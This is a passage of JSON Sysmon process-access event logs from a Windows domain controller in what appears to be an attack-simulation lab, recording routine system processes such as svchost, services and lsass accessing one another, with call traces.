C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":810,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1200\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1200","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":811,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":812,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":813,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":814,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":815,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":816,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":817,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 